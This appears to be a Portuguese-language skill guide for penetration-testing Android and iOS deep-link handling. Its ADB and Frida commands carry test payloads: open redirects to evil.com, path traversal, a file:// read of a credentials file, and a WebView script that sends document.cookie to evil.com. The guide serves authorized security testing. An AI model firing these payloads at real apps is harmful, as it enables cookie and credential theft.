Explorando Vulnerabilidades de Deep Link

Quando Usar

Use esta habilidade quando:

• Avaliando o tratamento de deep links de aplicativos móveis para vulnerabilidades de injeção e redirecionamento
• Testando filtros de intenção do Android e manipuladores de esquema de URL do iOS para acesso não autorizado
• Avaliando a verificação de App Links (Android) e Universal Links (iOS)
• Testando o sequestro de links por meio de registros de aplicativos concorrentes

Não use sem autorização -- a exploração de deep links pode acionar ações não intencionais em aplicativos de destino.

Pré-requisitos

• Dispositivo Android com ADB ou dispositivo iOS com Objection/Frida
• APK descompilado com apktool ou JADX para análise do AndroidManifest.xml
• Conhecimento dos esquemas de URL registrados e filtros de intenção do aplicativo de destino
• Drozer para testes de intenção do Android
• Burp Suite para interceptar chamadas de API acionadas por deep link

Fluxo de Trabalho

Passo 1: Enumerar Pontos de Entrada de Deep Link

Android - Extrair do AndroidManifest.xml:

# Decompile APK
apktool d target.apk -o decompiled/

# Search for intent filters with deep link schemes
grep -A 10 "android.intent.action.VIEW" decompiled/AndroidManifest.xml

# Look for:
# <data android:scheme="myapp" android:host="action" />
# <data android:scheme="https" android:host="target.com" />

iOS - Extrair do Info.plist:

# Extract URL schemes
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "CFBundleURLSchemes"

# Extract Universal Links (Associated Domains)
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "com.apple.developer.associated-domains"
# Check: applinks:target.com

# Verify apple-app-site-association file
curl https://target.com/.well-known/apple-app-site-association

Passo 2: Testar Injeção de Deep Link

Android via ADB:

# Basic deep link invocation
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://dashboard?user_id=1337" com.target.app

# Test with injection payloads
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://profile?redirect=https://evil.com" com.target.app

# Test path traversal
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://navigate?path=../../../admin" com.target.app

# Test JavaScript injection (if loaded in WebView)
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://webview?url=javascript:alert(document.cookie)" com.target.app

# Test with extra intent parameters
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://transfer?amount=1000&to=attacker" \
  --es extra_param "injected_value" com.target.app

iOS via Safari ou linha de comando:

# Trigger URL scheme from Safari
# Navigate to: myapp://dashboard?user_id=1337

# Using Frida to invoke
frida -U -n TargetApp -e '
ObjC.classes.UIApplication.sharedApplication()
  .openURL_(ObjC.classes.NSURL.URLWithString_("myapp://profile?redirect=https://evil.com"));
'

Passo 3: Testar Sequestro de Link

Android:

# Create a malicious app that registers the same URL scheme
# AndroidManifest.xml of attacker app:
# <intent-filter>
#   <action android:name="android.intent.action.VIEW" />
#   <category android:name="android.intent.category.DEFAULT" />
#   <category android:name="android.intent.category.BROWSABLE" />
#   <data android:scheme="myapp" />
# </intent-filter>

# When both apps are installed, Android shows a chooser dialog
# On older Android versions, the first-installed app may handle the link

# Check App Links verification (prevents hijacking)
adb shell pm get-app-links com.target.app
# Status: verified = secure
# Status: undefined = vulnerable to hijacking

Passo 4: Testar Carregamento de Deep Link em WebView

# If deep links load URLs in WebView, test for:
# 1. Open redirect
adb shell am start -d "myapp://open?url=https://evil.com" com.target.app

# 2. File access
adb shell am start -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/creds.xml"

# 3. JavaScript execution in WebView
adb shell am start -d "myapp://open?url=javascript:fetch('https://evil.com/steal?cookie='+document.cookie)"

Passo 5: Avaliar Validação de Parâmetros

Teste cada parâmetro de deep link para:

• Injeção de SQL em parâmetros que consultam bancos de dados locais
• Travessia de diretório em parâmetros de caminho de arquivo
• SSRF em parâmetros de URL que acionam requisições do servidor
• Bypass de autenticação via parâmetros user_id ou session

Conceitos Chave

…